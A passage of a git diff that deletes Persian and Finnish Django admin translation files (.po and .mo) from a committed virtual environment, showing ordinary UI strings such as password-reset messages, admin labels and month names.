-"user account at %(site_name)s." -msgstr "" -"شما این ایمیل را بخاطر تقاضای تغییر رمز حساب در %(site_name)s. دریافت کرده " -"اید." - -msgid "Please go to the following page and choose a new password:" -msgstr "لطفاً به صفحهٔ زیر بروید و یک گذرواژهٔ جدید انتخاب کنید:" - -msgid "Your username, in case you’ve forgotten:" -msgstr "نام کاربری‌تان، چنانچه احیاناً یادتان رفته است:" - -msgid "Thanks for using our site!" -msgstr "ممنون از استفادهٔ شما از وب‌گاه ما" - -#, python-format -msgid "The %(site_name)s team" -msgstr "گروه %(site_name)s" - -msgid "" -"Forgotten your password? Enter your email address below, and we’ll email " -"instructions for setting a new one." -msgstr "" -"گذرواژه خود را فراموش کرده اید؟ آدرس ایمیل خود را وارد کنید و ما مراحل تعیین " -"کلمه عبور جدید را برای شما ایمیل می‌کنیم." - -msgid "Email address:" -msgstr "آدرس ایمیل:" - -msgid "Reset my password" -msgstr "ایجاد گذرواژهٔ جدید" - -msgid "Select all objects on this page for an action" -msgstr "" - -msgid "All dates" -msgstr "همهٔ تاریخ‌ها" - -#, python-format -msgid "Select %s" -msgstr "%s انتخاب کنید" - -#, python-format -msgid "Select %s to change" -msgstr "%s را برای تغییر انتخاب کنید" - -#, python-format -msgid "Select %s to view" -msgstr "%s را برای مشاهده انتخاب کنید" - -msgid "Date:" -msgstr "تاریخ:" - -msgid "Time:" -msgstr "زمان:" - -msgid "Lookup" -msgstr "جستجو" - -msgid "Currently:" -msgstr "در حال حاضر:" - -msgid "Change:" -msgstr "تغییر یافته:" diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/locale/fa/LC_MESSAGES/djangojs.mo b/backend/venv/Lib/site-packages/django/contrib/admin/locale/fa/LC_MESSAGES/djangojs.mo deleted file mode 100644 index 2add5c77..00000000 Binary files a/backend/venv/Lib/site-packages/django/contrib/admin/locale/fa/LC_MESSAGES/djangojs.mo and /dev/null differ diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/locale/fa/LC_MESSAGES/djangojs.po b/backend/venv/Lib/site-packages/django/contrib/admin/locale/fa/LC_MESSAGES/djangojs.po deleted file mode 100644 index f082b60e..00000000 --- a/backend/venv/Lib/site-packages/django/contrib/admin/locale/fa/LC_MESSAGES/djangojs.po +++ /dev/null @@ -1,271 +0,0 @@ -# This file is distributed under the same license as the Django package. -# -# Translators: -# Ali Nikneshan , 2011-2012 -# Alireza Savand , 2012 -# Ali Vakilzade , 2015 -# Jannis Leidel , 2011 -# Pouya Abbassi, 2016 -# rahim agh , 2020-2021 -# Reza Mohammadi , 2014 -# Sina Cheraghi , 2011 -msgid "" -msgstr "" -"Project-Id-Version: django\n" -"Report-Msgid-Bugs-To: \n" -"POT-Creation-Date: 2021-01-15 09:00+0100\n" -"PO-Revision-Date: 2021-04-03 13:56+0000\n" -"Last-Translator: rahim agh \n" -"Language-Team: Persian (http://www.transifex.com/django/django/language/" -"fa/)\n" -"MIME-Version: 1.0\n" -"Content-Type: text/plain; charset=UTF-8\n" -"Content-Transfer-Encoding: 8bit\n" -"Language: fa\n" -"Plural-Forms: nplurals=2; plural=(n > 1);\n" - -#, javascript-format -msgid "Available %s" -msgstr "%sی موجود" - -#, javascript-format -msgid "" -"This is the list of available %s. You may choose some by selecting them in " -"the box below and then clicking the \"Choose\" arrow between the two boxes." -msgstr "" -"این لیست%s های در دسترس است. شما ممکن است برخی از آنها را در محل زیرانتخاب " -"نمایید و سپس روی \"انتخاب\" بین دو جعبه کلیک کنید." - -#, javascript-format -msgid "Type into this box to filter down the list of available %s." -msgstr "برای غربال فهرست %sی موجود درون این جعبه تایپ کنید." - -msgid "Filter" -msgstr "غربال" - -msgid "Choose all" -msgstr "انتخاب همه" - -#, javascript-format -msgid "Click to choose all %s at once." -msgstr "برای انتخاب یکجای همهٔ %s کلیک کنید." - -msgid "Choose" -msgstr "انتخاب" - -msgid "Remove" -msgstr "حذف" - -#, javascript-format -msgid "Chosen %s" -msgstr "%s انتخاب شده" - -#, javascript-format -msgid "" -"This is the list of chosen %s. You may remove some by selecting them in the " -"box below and then clicking the \"Remove\" arrow between the two boxes." -msgstr "" -"این فهرست %s های انتخاب شده است. شما ممکن است برخی از انتخاب آنها را در محل " -"زیر وارد نمایید و سپس روی \"حذف\" جهت دار بین دو جعبه حذف شده است." - -msgid "Remove all" -msgstr "حذف همه" - -#, javascript-format -msgid "Click to remove all chosen %s at once." -msgstr "برای حذف یکجای همهٔ %sی انتخاب شده کلیک کنید." - -msgid "%(sel)s of %(cnt)s selected" -msgid_plural "%(sel)s of %(cnt)s selected" -msgstr[0] " %(sel)s از %(cnt)s انتخاب شده‌اند" -msgstr[1] " %(sel)s از %(cnt)s انتخاب شده‌اند" - -msgid "" -"You have unsaved changes on individual editable fields. If you run an " -"action, your unsaved changes will be lost." -msgstr "" -"شما تغییراتی در بعضی فیلدهای قابل تغییر انجام داده اید. اگر کاری انجام " -"دهید، تغییرات از دست خواهند رفت" - -msgid "" -"You have selected an action, but you haven’t saved your changes to " -"individual fields yet. Please click OK to save. You’ll need to re-run the " -"action." -msgstr "" -"شما یک اقدام را انتخاب کرده‌اید، ولی تغییراتی که در فیلدهای شخصی وارد کرده‌اید " -"هنوز ذخیره نشده‌اند. لطفاً کلید OK را برای ذخیره کردن تغییرات بزنید. لازم است " -"که اقدام را دوباره اجرا کنید." - -msgid "" -"You have selected an action, and you haven’t made any changes on individual " -"fields. You’re probably looking for the Go button rather than the Save " -"button." -msgstr "" -"شما یک اقدام را انتخاب کرده‌اید، ولی تغییراتی در فیلدهای شخصی وارد نکرده‌اید. " -"احتمالاً به جای کلید Save به دنبال کلید Go می‌گردید." - -msgid "Now" -msgstr "اکنون" - -msgid "Midnight" -msgstr "نیمه‌شب" - -msgid "6 a.m." -msgstr "۶ صبح" - -msgid "Noon" -msgstr "ظهر" - -msgid "6 p.m." -msgstr "۶ بعدازظهر" - -#, javascript-format -msgid "Note: You are %s hour ahead of server time." -msgid_plural "Note: You are %s hours ahead of server time." -msgstr[0] "توجه: شما %s ساعت از زمان سرور جلو هستید." -msgstr[1] "توجه: شما %s ساعت از زمان سرور جلو هستید." - -#, javascript-format -msgid "Note: You are %s hour behind server time." -msgid_plural "Note: You are %s hours behind server time." -msgstr[0] "توجه: شما %s ساعت از زمان سرور عقب هستید." -msgstr[1] "توجه: شما %s ساعت از زمان سرور عقب هستید." - -msgid "Choose a Time" -msgstr "یک زمان انتخاب کنید" - -msgid "Choose a time" -msgstr "یک زمان انتخاب کنید" - -msgid "Cancel" -msgstr "انصراف" - -msgid "Today" -msgstr "امروز" - -msgid "Choose a Date" -msgstr "یک تاریخ انتخاب کنید" - -msgid "Yesterday" -msgstr "دیروز" - -msgid "Tomorrow" -msgstr "فردا" - -msgid "January" -msgstr "ژانویه" - -msgid "February" -msgstr "فوریه" - -msgid "March" -msgstr "مارس" - -msgid "April" -msgstr "آوریل" - -msgid "May" -msgstr "می" - -msgid "June" -msgstr "ژوئن" - -msgid "July" -msgstr "جولای" - -msgid "August" -msgstr "آگوست" - -msgid "September" -msgstr "سپتامبر" - -msgid "October" -msgstr "اکتبر" - -msgid "November" -msgstr "نوامبر" - -msgid "December" -msgstr "دسامبر" - -msgctxt "abbrev. month January" -msgid "Jan" -msgstr "ژانویه" - -msgctxt "abbrev. month February" -msgid "Feb" -msgstr "فوریه" - -msgctxt "abbrev. month March" -msgid "Mar" -msgstr "مارس" - -msgctxt "abbrev. month April" -msgid "Apr" -msgstr "آوریل" - -msgctxt "abbrev. month May" -msgid "May" -msgstr "می" - -msgctxt "abbrev. month June" -msgid "Jun" -msgstr "ژوئن" - -msgctxt "abbrev. month July" -msgid "Jul" -msgstr "ژوئیه" - -msgctxt "abbrev. month August" -msgid "Aug" -msgstr "اوت" - -msgctxt "abbrev. month September" -msgid "Sep" -msgstr "سپتامبر" - -msgctxt "abbrev. month October" -msgid "Oct" -msgstr "اکتبر" - -msgctxt "abbrev. month November" -msgid "Nov" -msgstr "نوامبر" - -msgctxt "abbrev. month December" -msgid "Dec" -msgstr "دسامبر" - -msgctxt "one letter Sunday" -msgid "S" -msgstr "ی" - -msgctxt "one letter Monday" -msgid "M" -msgstr "د" - -msgctxt "one letter Tuesday" -msgid "T" -msgstr "س" - -msgctxt "one letter Wednesday" -msgid "W" -msgstr "چ" - -msgctxt "one letter Thursday" -msgid "T" -msgstr "پ" - -msgctxt "one letter Friday" -msgid "F" -msgstr "ج" - -msgctxt "one letter Saturday" -msgid "S" -msgstr "ش" - -msgid "Show" -msgstr "نمایش" - -msgid "Hide" -msgstr "پنهان کردن" diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/locale/fi/LC_MESSAGES/django.mo b/backend/venv/Lib/site-packages/django/contrib/admin/locale/fi/LC_MESSAGES/django.mo deleted file mode 100644 index 7ff6f060..00000000 Binary files a/backend/venv/Lib/site-packages/django/contrib/admin/locale/fi/LC_MESSAGES/django.mo and /dev/null differ diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/locale/fi/LC_MESSAGES/django.po b/backend/venv/Lib/site-packages/django/contrib/admin/locale/fi/LC_MESSAGES/django.po deleted file mode 100644 index f9ece3e5..00000000 --- a/backend/venv/Lib/site-packages/django/contrib/admin/locale/fi/LC_MESSAGES/django.po +++ /dev/null @@ -1,786 +0,0 @@ -# This file is distributed under the same license as the Django package. -# -# Translators: -# Aarni Koskela, 2015,2017,2020-2022,2025 -# Antti Kaihola , 2011 -# Jannis Leidel , 2011 -# Jiri Grönroos , 2021,2023 -# Klaus Dahlén, 2012 -# Nikolay Korotkiy , 2018 -msgid "" -msgstr "" -"Project-Id-Version: django\n" -"Report-Msgid-Bugs-To: \n" -"POT-Creation-Date: 2025-03-19 11:30-0500\n" -"PO-Revision-Date: 2025-04-01 15:04-0500\n" -"Last-Translator: Aarni Koskela, 2015,2017,2020-2022,2025\n" -"Language-Team: Finnish (http://app.transifex.com/django/django/language/" -"fi/)\n" -"MIME-Version: 1.0\n" -"Content-Type: text/plain; charset=UTF-8\n" -"Content-Transfer-Encoding: 8bit\n" -"Language: fi\n" -"Plural-Forms: nplurals=2; plural=(n != 1);\n" - -#, python-format -msgid "Delete selected %(verbose_name_plural)s" -msgstr "Poista valitut \"%(verbose_name_plural)s\"-kohteet" - -#, python-format -msgid "Successfully deleted %(count)d %(items)s." -msgstr "%(count)d \"%(items)s\"-kohdetta poistettu." - -#, python-format -msgid "Cannot delete %(name)s" -msgstr "Ei voida poistaa: %(name)s" - -msgid "Delete multiple objects" -msgstr "Poista useita kohteita" - -msgid "Administration" -msgstr "Hallinta" - -msgid "All" -msgstr "Kaikki" - -msgid "Yes" -msgstr "Kyllä" - -msgid "No" -msgstr "Ei" - -msgid "Unknown" -msgstr "Tuntematon" - -msgid "Any date" -msgstr "Mikä tahansa päivä" - -msgid "Today" -msgstr "Tänään" - -msgid "Past 7 days" -msgstr "Viimeiset 7 päivää" - -msgid "This month" -msgstr "Tässä kuussa" - -msgid "This year" -msgstr "Tänä vuonna" - -msgid "No date" -msgstr "Ei päivämäärää" - -msgid "Has date" -msgstr "On päivämäärä" - -msgid "Empty" -msgstr "Tyhjä" - -msgid "Not empty" -msgstr "Ei tyhjä" - -#, python-format -msgid "" -"Please enter the correct %(username)s and password for a staff account. Note " -"that both fields may be case-sensitive." -msgstr "" -"Ole hyvä ja syötä henkilökuntatilin %(username)s ja salasana. Huomaa että " -"kummassakin kentässä isoilla ja pienillä kirjaimilla saattaa olla merkitystä." - -msgid "Action:" -msgstr "Toiminto:" - -#, python-format -msgid "Add another %(verbose_name)s" -msgstr "Lisää toinen %(verbose_name)s" - -msgid "Remove" -msgstr "Poista" - -msgid "Addition" -msgstr "Lisäys" - -msgid "Change" -msgstr "Muokkaa" - -msgid "Deletion" -msgstr "Poisto" - -msgid "action time" -msgstr "tapahtumahetki" - -msgid "user" -msgstr "käyttäjä" - -msgid "content type" -msgstr "sisältötyyppi" - -msgid "object id" -msgstr "kohteen tunniste" - -#. Translators: 'repr' means representation -#. (https://docs.python.org/library/functions.html#repr) -msgid "object repr" -msgstr "kohteen tiedot" - -msgid "action flag" -msgstr "tapahtumatyyppi" - -msgid "change message" -msgstr "selitys" - -msgid "log entry" -msgstr "lokimerkintä" - -msgid "log entries" -msgstr "lokimerkinnät" - -#, python-format -msgid "Added “%(object)s”." -msgstr "Lisätty \"%(object)s\"." - -#, python-format -msgid "Changed “%(object)s” — %(changes)s" -msgstr "Muokattu \"%(object)s\" - %(changes)s" - -#, python-format -msgid "Deleted “%(object)s.”" -msgstr "Poistettu \"%(object)s.\"" - -msgid "LogEntry Object" -msgstr "Lokimerkintätietue" - -#, python-brace-format -msgid "Added {name} “{object}”." -msgstr "Lisätty {name} \"{object}\"." - -msgid "Added." -msgstr "Lisätty." - -msgid "and" -msgstr "ja" - -#, python-brace-format -msgid "Changed {fields} for {name} “{object}”." -msgstr "Muutettu {fields} {name}-kohteelle \"{object}\"." - -#, python-brace-format -msgid "Changed {fields}." -msgstr "Muutettu {fields}." - -#, python-brace-format -msgid "Deleted {name} “{object}”." -msgstr "Poistettu {name} \"{object}\"." - -msgid "No fields changed." -msgstr "Ei muutoksia kenttiin." - -msgid "None" -msgstr "Ei arvoa" - -msgid "Hold down “Control”, or “Command” on a Mac, to select more than one." -msgstr "" -" Pidä \"Ctrl\" (tai Macin \"Command\") pohjassa valitaksesi useita " -"vaihtoehtoja." - -msgid "Select this object for an action - {}" -msgstr "Valitse tämä kohde toiminnolle - {}" - -#, python-brace-format -msgid "The {name} “{obj}” was added successfully." -msgstr "{name} \"{obj}\" on lisätty." - -msgid "You may edit it again below." -msgstr "Voit muokata sitä jälleen alla." - -#, python-brace-format -msgid "" -"The {name} “{obj}” was added successfully. You may add another {name} below." -msgstr "{name} \"{obj}\" on lisätty. Voit lisätä toisen {name}-kohteen alla." - -#, python-brace-format -msgid "" -"The {name} “{obj}” was changed successfully. You may edit it again below." -msgstr "{name} \"{obj}\" on muokattu. Voit muokata sitä edelleen alla." - -#, python-brace-format -msgid "" -"The {name} “{obj}” was changed successfully. You may add another {name} " -"below." -msgstr "{name} \"{obj}\" on muokattu. Voit lisätä toisen {name}-kohteen alla." - -#, python-brace-format -msgid "The {name} “{obj}” was changed successfully." -msgstr "{name} \"{obj}\" on muokattu." - -msgid "" -"Items must be selected in order to perform actions on them. No items have " -"been changed." -msgstr "" -"Kohteiden täytyy olla valittuna, jotta niihin voi kohdistaa toimintoja. " -"Kohteita ei ole muutettu." - -msgid "No action selected." -msgstr "Ei toimintoa valittuna." - -#, python-format -msgid "The %(name)s “%(obj)s” was deleted successfully." -msgstr "%(name)s \"%(obj)s\" on poistettu." - -#, python-format -msgid "%(name)s with ID “%(key)s” doesn’t exist. Perhaps it was deleted?" -msgstr "%(name)s tunnisteella \"%(key)s\" puuttuu. Se on voitu poistaa." - -#, python-format -msgid "Add %s" -msgstr "Lisää %s" - -#, python-format -msgid "Change %s" -msgstr "Muokkaa %s" - -#, python-format -msgid "View %s" -msgstr "Näytä %s" - -msgid "Database error" -msgstr "Tietokantavirhe" - -#, python-format -msgid "%(count)s %(name)s was changed successfully." -msgid_plural "%(count)s %(name)s were changed successfully." -msgstr[0] "%(count)s %(name)s on muokattu." -msgstr[1] "%(count)s \"%(name)s\"-kohdetta on muokattu." - -#, python-format -msgid "%(total_count)s selected" -msgid_plural "All %(total_count)s selected" -msgstr[0] "%(total_count)s valittu" -msgstr[1] "Kaikki %(total_count)s valittu" - -#, python-format -msgid "0 of %(cnt)s selected" -msgstr "0 valittuna %(cnt)s mahdollisesta" - -msgid "Delete" -msgstr "Poista" - -#, python-format -msgid "Change history: %s" -msgstr "Muokkaushistoria: %s" - -#. Translators: Model verbose name and instance -#. representation, suitable to be an item in a -#. list. -#, python-format -msgid "%(class_name)s %(instance)s" -msgstr "%(class_name)s %(instance)s" - -#, python-format -msgid "" -"Deleting %(class_name)s %(instance)s would require deleting the following " -"protected related objects: %(related_objects)s" -msgstr "" -"%(class_name)s %(instance)s poistaminen vaatisi myös seuraavien suojattujen " -"liittyvien kohteiden poiston: %(related_objects)s" - -msgid "Django site admin" -msgstr "Django-sivuston ylläpito" - -msgid "Django administration" -msgstr "Djangon ylläpito" - -msgid "Site administration" -msgstr "Sivuston ylläpito" - -msgid "Log in" -msgstr "Kirjaudu sisään" - -#, python-format -msgid "%(app)s administration" -msgstr "%(app)s-ylläpito" - -msgid "Page not found" -msgstr "Sivua ei löydy" - -msgid "We’re sorry, but the requested page could not be found." -msgstr "Pahoittelemme, pyydettyä sivua ei löytynyt." - -msgid "Home" -msgstr "Etusivu" - -msgid "Server error" -msgstr "Palvelinvirhe" - -msgid "Server error (500)" -msgstr "Palvelinvirhe (500)" - -msgid "Server Error (500)" -msgstr "Palvelinvirhe (500)" - -msgid "" -"There’s been an error. It’s been reported to the site administrators via " -"email and should be fixed shortly. Thanks for your patience." -msgstr "" -"Sattui virhe. Virheestä on huomautettu sivuston ylläpitäjille sähköpostitse " -"ja se korjautunee piakkoin. Kiitos kärsivällisyydestä." - -msgid "Run the selected action" -msgstr "Suorita valittu toiminto" - -msgid "Go" -msgstr "Suorita" - -msgid "Click here to select the objects across all pages" -msgstr "Klikkaa tästä valitaksesi kohteet kaikilta sivuilta" - -#, python-format -msgid "Select all %(total_count)s %(module_name)s" -msgstr "Valitse kaikki %(total_count)s %(module_name)s" - -msgid "Clear selection" -msgstr "Tyhjennä valinta" - -msgid "Breadcrumbs" -msgstr "Murupolut" - -#, python-format -msgid "Models in the %(name)s application" -msgstr "Sovelluksen %(name)s mallit" - -msgid "Model name" -msgstr "" - -msgid "Add link" -msgstr "" - -msgid "Change or view list link" -msgstr "" - -msgid "Add" -msgstr "Lisää" - -msgid "View" -msgstr "Näytä" - -msgid "You don’t have permission to view or edit anything." -msgstr "Sinulla ei ole oikeutta näyttää tai muokata mitään." - -msgid "After you’ve created a user, you’ll be able to edit more user options." -msgstr "" - -msgid "Error:" -msgstr "" - -msgid "Change password" -msgstr "Vaihda salasana" - -msgid "Set password" -msgstr "Aseta salasana" - -msgid "Please correct the error below." -msgid_plural "Please correct the errors below." -msgstr[0] "Korjaa alla oleva virhe." -msgstr[1] "Korjaa alla olevat virheet." - -#, python-format -msgid "Enter a new password for the user %(username)s." -msgstr "Syötä käyttäjän %(username)s uusi salasana." - -msgid "" -"This action will enable password-based authentication for " -"this user." -msgstr "" -"Tämä toiminto kytkee päälle salasanapohjaisen kirjautumisen " -"tälle käyttäjälle." - -msgid "Disable password-based authentication" -msgstr "Ota salasanapohjainen kirjautuminen pois päältä" - -msgid "Enable password-based authentication" -msgstr "Kytke salasanapohjainen kirjautuminen käyttöön" - -msgid "Skip to main content" -msgstr "Siirry pääsisältöön" - -msgid "Welcome," -msgstr "Tervetuloa," - -msgid "View site" -msgstr "Näytä sivusto" - -msgid "Documentation" -msgstr "Dokumentaatio" - -msgid "Log out" -msgstr "Kirjaudu ulos" - -#, python-format -msgid "Add %(name)s" -msgstr "Lisää %(name)s" - -msgid "History" -msgstr "Muokkaushistoria" - -msgid "View on site" -msgstr "Näytä lopputulos" - -msgid "Filter" -msgstr "Suodatin" - -msgid "Hide counts" -msgstr "Piilota lukumäärät" - -msgid "Show counts" -msgstr "Näytä lukumäärät" - -msgid "Clear all filters" -msgstr "Tyhjennä kaikki suodattimet" - -msgid "Remove from sorting" -msgstr "Poista järjestämisestä" - -#, python-format -msgid "Sorting priority: %(priority_number)s" -msgstr "Järjestysprioriteetti: %(priority_number)s" - -msgid "Toggle sorting" -msgstr "Kytke järjestäminen" - -msgid "Toggle theme (current theme: auto)" -msgstr "Vaihda teemaa (nyt: automaattinen)" - -msgid "Toggle theme (current theme: light)" -msgstr "Vaihda teemaa (nyt: vaalea)" - -msgid "Toggle theme (current theme: dark)" -msgstr "Vaihda teemaa (nyt: tumma)" - -#, python-format -msgid "" -"Deleting the %(object_name)s '%(escaped_object)s' would result in deleting " -"related objects, but your account doesn't have permission to delete the " -"following types of objects:" -msgstr "" -"Kohteen '%(escaped_object)s' (%(object_name)s) poisto poistaisi myös siihen " -"liittyviä kohteita, mutta sinulla ei ole oikeutta näiden kohteiden " -"poistamiseen:" - -#, python-format -msgid "" -"Deleting the %(object_name)s '%(escaped_object)s' would require deleting the " -"following protected related objects:" -msgstr "" -"%(object_name)s '%(escaped_object)s': poistettaessa joudutaan poistamaan " -"myös seuraavat suojatut siihen liittyvät kohteet:" - -#, python-format -msgid "" -"Are you sure you want to delete the %(object_name)s \"%(escaped_object)s\"? " -"All of the following related items will be deleted:" -msgstr "" -"Haluatko varmasti poistaa kohteen \"%(escaped_object)s\" (%(object_name)s)? " -"Myös seuraavat kohteet poistettaisiin samalla:" - -msgid "Objects" -msgstr "Kohteet" - -msgid "Yes, I’m sure" -msgstr "Kyllä, olen varma" - -msgid "No, take me back" -msgstr "Ei, mennään takaisin" - -#, python-format -msgid "" -"Deleting the selected %(objects_name)s would result in deleting related " -"objects, but your account doesn't have permission to delete the following " -"types of objects:" -msgstr "" -"Jos valitut %(objects_name)s poistettaisiin, jouduttaisiin poistamaan niihin " -"liittyviä kohteita. Sinulla ei kuitenkaan ole oikeutta poistaa seuraavia " -"kohdetyyppejä:" - -#, python-format -msgid "" -"Deleting the selected %(objects_name)s would require deleting the following " -"protected related objects:" -msgstr "" -"Jos valitut %(objects_name)s poistetaan, pitää poistaa myös seuraavat " -"suojatut niihin liittyvät kohteet:" - -#, python-format -msgid "" -"Are you sure you want to delete the selected %(objects_name)s? All of the " -"following objects and their related items will be deleted:" -msgstr "" -"Haluatko varmasti poistaa valitut %(objects_name)s? Samalla poistetaan " -"kaikki alla mainitut ja niihin liittyvät kohteet:" - -msgid "Delete?" -msgstr "Poista?" - -#, python-format -msgid " By %(filter_title)s " -msgstr " %(filter_title)s " - -msgid "Summary" -msgstr "Yhteenveto" - -msgid "Recent actions" -msgstr "Viimeisimmät tapahtumat" - -msgid "My actions" -msgstr "Omat tapahtumat" - -msgid "None available" -msgstr "Ei yhtään" - -msgid "Added:" -msgstr "Lisätty:" - -msgid "Changed:" -msgstr "Muutettu:" - -msgid "Deleted:" -msgstr "Poistettu:" - -msgid "Unknown content" -msgstr "Tuntematon sisältö" - -msgid "" -"Something’s wrong with your database installation. Make sure the appropriate " -"database tables have been created, and make sure the database is readable by " -"the appropriate user." -msgstr "" -"Tietokanta-asennuksessa on jotain vialla. Varmista, että sopivat taulut on " -"luotu ja että oikea käyttäjä voi lukea tietokantaa." - -#, python-format -msgid "" -"You are authenticated as %(username)s, but are not authorized to access this " -"page. Would you like to login to a different account?" -msgstr "" -"Olet kirjautunut käyttäjänä %(username)s, mutta sinulla ei ole pääsyä tälle " -"sivulle. Haluaisitko kirjautua eri tilille?" - -msgid "Forgotten your login credentials?" -msgstr "" - -msgid "Toggle navigation" -msgstr "Kytke navigaatio" - -msgid "Sidebar" -msgstr "Sivupalkki" - -msgid "Start typing to filter…" -msgstr "Kirjoita suodattaaksesi..." - -msgid "Filter navigation items" -msgstr "Suodata navigaatiovaihtoehtoja" - -msgid "Date/time" -msgstr "Pvm/klo" - -msgid "User" -msgstr "Käyttäjä" - -msgid "Action" -msgstr "Tapahtuma" - -msgid "entry" -msgid_plural "entries" -msgstr[0] "merkintä" -msgstr[1] "merkintää" - -msgid "" -"This object doesn’t have a change history. It probably wasn’t added via this " -"admin site." -msgstr "" -"Tällä kohteella ei ole muutoshistoriaa. Sitä ei ole ilmeisesti lisätty tämän " -"ylläpitosivun avulla." - -msgid "Show all" -msgstr "Näytä kaikki" - -msgid "Save" -msgstr "Tallenna ja poistu" - -msgid "Popup closing…" -msgstr "Ponnahdusikkuna sulkeutuu..." - -msgid "Search" -msgstr "Haku" - -#, python-format -msgid "%(counter)s result" -msgid_plural "%(counter)s results" -msgstr[0] "%(counter)s osuma" -msgstr[1] "%(counter)s osumaa" - -#, python-format -msgid "%(full_result_count)s total" -msgstr "yhteensä %(full_result_count)s" - -msgid "Save as new" -msgstr "Tallenna uutena" - -msgid "Save and add another" -msgstr "Tallenna ja lisää toinen" - -msgid "Save and continue editing" -msgstr "Tallenna välillä ja jatka muokkaamista" - -msgid "Save and view" -msgstr "Tallenna ja näytä" - -msgid "Close" -msgstr "Sulje" - -#, python-format -msgid "Change selected %(model)s" -msgstr "Muuta valittuja %(model)s" - -#, python-format -msgid "Add another %(model)s" -msgstr "Lisää toinen %(model)s" - -#, python-format -msgid "Delete selected %(model)s" -msgstr "Poista valitut %(model)s" - -#, python-format -msgid "View selected %(model)s" -msgstr "Näytä valitut %(model)s" - -msgid "Thanks for spending some quality time with the web site today." -msgstr "Kiitos sivuillamme viettämästäsi ajasta." - -msgid "Log in again" -msgstr "Kirjaudu uudelleen sisään" - -msgid "Password change" -msgstr "Salasanan vaihtaminen" - -msgid "Your password was changed." -msgstr "Salasanasi on vaihdettu." - -msgid "" -"Please enter your old password, for security’s sake, and then enter your new " -"password twice so we can verify you typed it in correctly." -msgstr "" -"Syötä vanha salasanasi varmistukseksi, ja syötä sitten uusi salasanasi kaksi " -"kertaa, jotta se tulee varmasti oikein." - -msgid "Change my password" -msgstr "Vaihda salasana" - -msgid "Password reset" -msgstr "Salasanan nollaus" - -msgid "Your password has been set. You may go ahead and log in now." -msgstr "Salasanasi on asetettu. Nyt voit kirjautua sisään." - -msgid "Password reset confirmation" -msgstr "Salasanan nollauksen vahvistus" - -msgid "" -"Please enter your new password twice so we can verify you typed it in " -"correctly." -msgstr "" -"Syötä uusi salasanasi kaksi kertaa, jotta voimme varmistaa että syötit sen " -"oikein." - -msgid "New password:" -msgstr "Uusi salasana:" - -msgid "Confirm password:" -msgstr "Varmista uusi salasana:" - -msgid "" -"The password reset link was invalid, possibly because it has already been " -"used. Please request a new password reset." -msgstr "" -"Salasanan nollauslinkki oli virheellinen, mahdollisesti siksi että se on jo " -"käytetty. Ole hyvä ja pyydä uusi salasanan nollaus." - -msgid "" -"We’ve emailed you instructions for setting your password, if an account " -"exists with the email you entered. You should receive them shortly." -msgstr "" -"Sinulle on lähetetty sähköpostitse ohjeet salasanasi asettamiseen, mikäli " -"antamallasi sähköpostiosoitteella on olemassa tili." - -msgid "" -"If you don’t receive an email, please make sure you’ve entered the address " -"you registered with, and check your spam folder." -msgstr "" -"Jos viestiä ei näy, ole hyvä ja varmista syöttäneesi oikea sähköpostiosoite " -"sekä tarkista sähköpostisi roskapostikansio." - -#, python-format -msgid "" -"You're receiving this email because you requested a password reset for your " -"user account at %(site_name)s." -msgstr "" -"Tämä viesti on lähetetty sinulle, koska olet pyytänyt %(site_name)s -" -"sivustolla salasanan palautusta." - -msgid "Please go to the following page and choose a new password:" -msgstr "Määrittele uusi salasanasi oheisella sivulla:" - -msgid "In case you’ve forgotten, you are:" -msgstr "" - -msgid "Thanks for using our site!" -msgstr "Kiitos vierailustasi sivuillamme!" - -#, python-format -msgid "The %(site_name)s team" -msgstr "Sivuston %(site_name)s ylläpitäjät" - -msgid "" -"Forgotten your password? Enter your email address below, and we’ll email " -"instructions for setting a new one." -msgstr "" -"Unohditko salasanasi? Syötä sähköpostiosoitteesi alle ja lähetämme sinulle " -"ohjeet uuden salasanan asettamiseksi." - -msgid "Email address:" -msgstr "Sähköpostiosoite:" - -msgid "Reset my password" -msgstr "Nollaa salasanani" - -msgid "Select all objects on this page for an action" -msgstr "Valitse kaikki tämän sivun kohteet toiminnolle" - -msgid "All dates" -msgstr "Kaikki päivät" - -#, python-format -msgid "Select %s" -msgstr "Valitse %s" - -#, python-format -msgid "Select %s to change" -msgstr "Valitse muokattava %s" - -#, python-format -msgid "Select %s to view" -msgstr "Valitse näytettävä %s" - -msgid "Date:" -msgstr "Pvm:" - -msgid "Time:" -msgstr "Klo:" - -msgid "Lookup" -msgstr "Etsi" - -msgid "Currently:" -msgstr "Tällä hetkellä:" - -msgid "Change:" -msgstr "Muokkaa:" diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/locale/fi/LC_MESSAGES/djangojs.mo b/backend/venv/Lib/site-packages/django/contrib/admin/locale/fi/LC_MESSAGES/djangojs.mo deleted file mode 100644 index e1c46d49..00000000 Binary files a/backend/venv/Lib/site-packages/django/contrib/admin/locale/fi/LC_MESSAGES/djangojs.mo and /dev/null differ diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/locale/fi/LC_MESSAGES/djangojs.po b/backend/venv/Lib/site-packages/django/contrib/admin/locale/fi/LC_MESSAGES/djangojs.po deleted file mode 100644 index fb71d4d5..00000000 --- a/backend/venv/Lib/site-packages/django/contrib/admin/locale/fi/LC_MESSAGES/djangojs.po +++ /dev/null @@ -1,314 +0,0 @@ -# This file is distributed under the same license as the Django package. -# -# Translators: -# Aarni Koskela, 2015,2017,2020-2022,2025 -# Antti Kaihola , 2011 -# Jannis Leidel , 2011 -# Jiri Grönroos , 2021,2023 -msgid "" -msgstr "" -"Project-Id-Version: django\n" -"Report-Msgid-Bugs-To: \n" -"POT-Creation-Date: 2025-03-25 15:04-0500\n" -"PO-Revision-Date: 2025-04-01 15:04-0500\n" -"Last-Translator: Aarni Koskela, 2015,2017,2020-2022,2025\n" -"Language-Team: Finnish (http://app.transifex.com/django/django/language/" -"fi/)\n" -"MIME-Version: 1.0\n" -"Content-Type: text/plain; charset=UTF-8\n" -"Content-Transfer-Encoding: 8bit\n" -"Language: fi\n" -"Plural-Forms: nplurals=2; plural=(n != 1);\n" - -#, javascript-format -msgid "Available %s" -msgstr "Mahdolliset %s" - -#, javascript-format -msgid "" -"Choose %s by selecting them and then select the \"Choose\" arrow button." -msgstr "" - -#, javascript-format -msgid "Type into this box to filter down the list of available %s." -msgstr "Kirjoita tähän listaan suodattaaksesi %s-listaa." - -msgid "Filter" -msgstr 